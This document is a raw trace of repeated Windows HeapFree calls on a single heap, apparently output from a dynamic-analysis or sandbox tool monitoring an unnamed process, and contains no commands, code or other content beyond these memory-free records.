	[0079.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0079.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0079.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0081.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0081.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0081.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0081.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0081.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0081.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0081.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0081.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0081.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0081.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0081.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0082.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0082.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
